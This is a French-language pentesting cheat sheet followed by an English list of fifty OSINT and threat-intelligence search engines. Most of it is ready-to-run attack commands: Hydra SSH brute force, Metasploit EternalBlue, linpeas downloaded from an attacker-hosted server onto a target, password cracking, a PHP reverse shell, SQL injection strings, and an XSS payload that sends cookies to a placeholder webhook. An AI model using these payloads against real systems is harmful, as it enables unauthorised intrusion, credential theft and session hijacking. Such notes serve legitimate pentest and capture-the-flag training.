

# Pentesting - Soft

## 1. Scan et reconnaissance

### Nmap

#### Scan standard

```
sudo nmap -sC -sV -p- <IP>
```

#### Scan léger (soft)

```
sudo nmap -sV -O -p 1-1000 --version-light <IP>
```

#### Scan avancé (hard)

```
sudo nmap -A -p- --script=vuln <IP>
```

### Gobuster (Bruteforce de répertoires)

```
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/big.txt -x php,html
```

### Hydra (Bruteforce d'authentification)

#### SSH

```
hydra -l <nom_utilisateur> -P /usr/share/wordlists/rockyou.txt ssh://<IP>
```

## 2. Exploitation de SMB

SMB (Server Message Block) est un protocole réseau utilisé pour le partage de fichiers et imprimantes, fonctionnant sur les ports 139 et 445 .

### Enumération SMB

#### Avec smbclient

```
smbclient -L //<IP> -N
```

## Avec enum4linux

```
enum4linux -a <IP>
```

## Accès aux partages SMB

```
smbclient //<IP>/<partage> -U <utilisateur>
```

## Recherche de vulnérabilités SMB

```
sudo nmap --script smb-vuln* -p 139,445 <IP>
```

## Exploitation avec Metasploit

```
use exploit/windows/smb/ms17_010_eternalblue  
set RHOST <IP>  
exploit
```

## 3. Escalade de privilèges

### Recherche de fichiers avec le bit SUID

```
find / -type f -perm -4000 2>/dev/null
```

## Utilisation de linpeas

### Téléchargement et exécution

```
wget https://github.com/peass-ng/PEASS-ng/releases/download/20240915-f58aa30b/linpeas.sh  
chmod +x linpeas.sh  
./linpeas.sh
```

### Exécution depuis une machine distante

Sur la machine attaquante :

```
python3 -m http.server 8000
```

Sur la machine cible :

```
cd /tmp
wget http://<IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

## 4. Cracking de mots de passe

### John the Ripper (SSH Key Password)

#### Conversion de la clé SSH

```
/usr/share/john/ssh2john.py <chemin_vers_ta_clé> > hash_john.txt
```

#### Cracking du hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash_john.txt
```

#### Affichage du mot de passe trouvé

```
john --show hash_john.txt
```

## Hashcat

```
hashcat -a 0 -m <ID-Algo> hash.txt -o cracked.txt
/usr/share/wordlists/rockyou.txt
```

## 5. Reverse Shell

### Reverse Shell PHP

```
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
```

## Amélioration du terminal

### Transformer en TTY interactif

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

### Passage en mode raw

```
stty raw -echo
```

## Adaptation du terminal

```
export TERM=xterm
```

## Ressources supplémentaires

- [Reverse Shell Cheat Sheet](#)
- [RevShells](#)

## 6. Recherche de fichiers

```
find / -type f -name "<nom-fichier>" 2>/dev/null
```

## 7. Lancer un serveur HTTP

```
python3 -m http.server 8000
```

## 8. Stéganographie

### Steghide

#### Cacher un fichier dans une image

```
steghide embed -cf image.jpg -ef secret.txt -p password
```

#### Extraire un fichier caché

```
steghide extract -sf image.jpg -p password
```

### Exiftool (métadonnées)

```
exiftool image.jpg
```

### Binwalk (analyse de fichiers binaires)

```
binwalk -e image.jpg
```

## Outguess

## Cacher un fichier

```
outguess -k "password" -d secret.txt image.jpg output.jpg
```

## Extraire un fichier

```
outguess -k "password" -r output.jpg secret.txt
```

# 9. Exploitation Web

## Injection SQL

### Input Box Non-String

```
1 or 1=1-- -
```

### Input Box String

```
1' or '1'='1'-- -
```

## Injection XSS

### Classique

```
<script>alert('XSS')</script>
```

### Redirection

```
<script>window.location.href="{tonlienwebhook&var}".concat(document.cookie)  
</script>
```

# 10. Outils Kali Linux

- **Burp Suite** : Interception des requêtes HTTP.
- **Sqlmap** : Détection et exploitation des injections SQL.
- **Metasploit** : Exploitation automatique de vulnérabilités.
- **Nikto** : Scan des failles web.
- **Dirb** : Recherche de répertoires cachés.

# 11. Ressources utiles

[HackTricks](#)

[OWASP](#)

[NIST](#)

[MITRE ATT&CK®](#)

[Clusif](#)

[CVE](#)

TOP 50 Search Engines for Cybersecurity Researchers- Praveen Singh			
S.N	Name	Address	Description
1	Dehashed	<a href="https://www.dehashed.com/">https://www.dehashed.com/</a>	View leaked credentials
2	ExploitDB	<a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a>	Archive of various exploits
3	Pulsedive	<a href="https://pulsedive.com/">https://pulsedive.com/</a>	Search for threat intelligence
4	Alienvault	<a href="https://otx.alienvault.com/">https://otx.alienvault.com/</a>	Extensive threat intelligence feed
5	Securitytrails	<a href="https://securitytrails.com/">https://securitytrails.com/</a>	Extensive DNS data
6	Zoomeye	<a href="https://www.zoomeye.org/">https://www.zoomeye.org/</a>	Gather information about targets
7	GrayHatWarfare	<a href="https://buckets.grayhatwarfare.com/">https://buckets.grayhatwarfare.com/</a>	Search public S3 buckets
8	Grep App	<a href="https://grep.app/">https://grep.app/</a>	Search across a half million git repos
9	CRT sh	<a href="https://crt.sh/">https://crt.sh/</a>	Search for certs that have been logged by CT
10	DorkSearch	<a href="https://dorksearch.com/">https://dorksearch.com/</a>	Really fast Google dorking
11	PolySwarm	<a href="https://polyswarm.io/">https://polyswarm.io/</a>	Scan files and URLs for threats
12	LeakIX	<a href="https://leakix.net/">https://leakix.net/</a>	Search publicly indexed information
13	FullHunt	<a href="https://fullhunt.io/">https://fullhunt.io/</a>	Search and discovery attack surfaces
14	ONYPHE	<a href="https://www.onyphe.io/">https://www.onyphe.io/</a>	Collects cyber-threat intelligence data
15	Shodan	<a href="https://www.shodan.io/">https://www.shodan.io/</a>	Search for devices connected to the internet
16	Binary Edge	<a href="https://www.binaryedge.io/">https://www.binaryedge.io/</a>	Scans the internet for threat intelligence
17	Vulners	<a href="https://vulners.com/">https://vulners.com/</a>	Search vulnerabilities in a large database
18	DNSDumpster	<a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a>	Search for DNS records quickly
19	SearchCode	<a href="https://searchcode.com/">https://searchcode.com/</a>	Search 75 billion lines of code from 40 million projects
20	Hunter	<a href="https://hunter.io/">https://hunter.io/</a>	Search for email addresses belonging to a website
21	Wigle	<a href="https://www.wigle.net/">https://www.wigle.net/</a>	Database of wireless networks, with statistics
22	PublicWWW	<a href="https://publicwww.com/">https://publicwww.com/</a>	Marketing and affiliate marketing research
23	Censys	<a href="https://censys.io/">https://censys.io/</a>	Assessing attack surface for internet connected devices
24	Netlas	<a href="https://netlas.io/">https://netlas.io/</a>	Search and monitor internet connected assets
25	Fofa	<a href="https://fofa.info/">https://fofa.info/</a>	Search for various threat intelligence
26	WayBackMachine	<a href="https://archive.org/">https://archive.org/</a>	View content from deleted websites
27	GreyNoise	<a href="https://www.greynoise.io/">https://www.greynoise.io/</a>	Search for devices connected to the internet
28	IntelligenceX	<a href="https://intelx.io/">https://intelx.io/</a>	Search Tor, I2P, data leaks, domains, and emails
29	URL Scan	<a href="https://urlscan.io/">https://urlscan.io/</a>	Free service to scan and analyse websites
30	Packet Storm Security	<a href="https://packetstormsecurity.com/">https://packetstormsecurity.com/</a>	Browse latest vulnerabilities and exploits
31	OSINT Framework	<a href="https://osintframework.com/">https://osintframework.com/</a>	OSINT Every Things
32	Exploit Notes	<a href="https://exploit-notes.hdks.org/">https://exploit-notes.hdks.org/</a>	Search hacking techniques and tools for penetration testings, bug bounty, CTF
33	Hunter	<a href="https://hunter.how/">https://hunter.how/</a>	Which capable of performing fingerprint retrieval of internet-connected devices and services
34	VirusTotal	<a href="https://www.virustotal.com/gui/home/upload">https://www.virustotal.com/gui/home/upload</a>	Analyse suspicious files, domains, IPs, and URLs to detect malware
35	CVE	<a href="https://www.cvedetails.com/">https://www.cvedetails.com/</a>	Created to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
35	TinEye	<a href="https://tineye.com/">https://tineye.com/</a>	Reverse Image Search.
37	HaveIbeenpwned	<a href="https://haveibeenpwned.com">HaveIbeenpwned.com</a>	Check compromised status of Mail id in multiple data breaches
38	AbuseIPDB	<a href="https://www.abuseipdb.com/">https://www.abuseipdb.com/</a>	Tracks abusive hosts and malicious domains on the internet.
39	Bayse	<a href="https://www.bayse.io/">https://www.bayse.io/</a>	Phishing and Attack Infrastructure Detection
40	Yandex	<a href="https://yandex.com/">https://yandex.com/</a>	Reverse Image search.
41	Central Ops	<a href="https://centralops.net/co/">https://centralops.net/co/</a>	Useful for Website osint
42	Cyber Chef	<a href="https://cyberchef.org/">https://cyberchef.org/</a>	Explore data format, encryption
43	MalwareBazaar	<a href="https://bazaar.abuse.ch/">https://bazaar.abuse.ch/</a>	Search for malware samples
44	URLhaus	<a href="https://urlhaus.abuse.ch/">https://urlhaus.abuse.ch/</a>	Search for malicious URL
45	Ipinfo	<a href="https://ipinfo.io/">https://ipinfo.io/</a>	Find accurate information on a source ip
46	BugProve	<a href="https://bugprove.com/">https://bugprove.com/</a>	Search IOT vulnerabilities
47	Abuse.ch	<a href="https://abuse.ch/">https://abuse.ch/</a>	Providing community driven threat intelligence on cyber threats
48	Robtex	<a href="https://www.robtex.com/">https://www.robtex.com/</a>	Research of IP numbers, Domain names, etc
49	Chaos	<a href="https://chaos.projectdiscovery.io/#/">https://chaos.projectdiscovery.io/#/</a>	Enhance research and analyse changes around DNS for better insights.
50	Talos	<a href="https://talosintelligence.com/">https://talosintelligence.com/</a>	Query by IP, domain, or network owner for real-time threat data.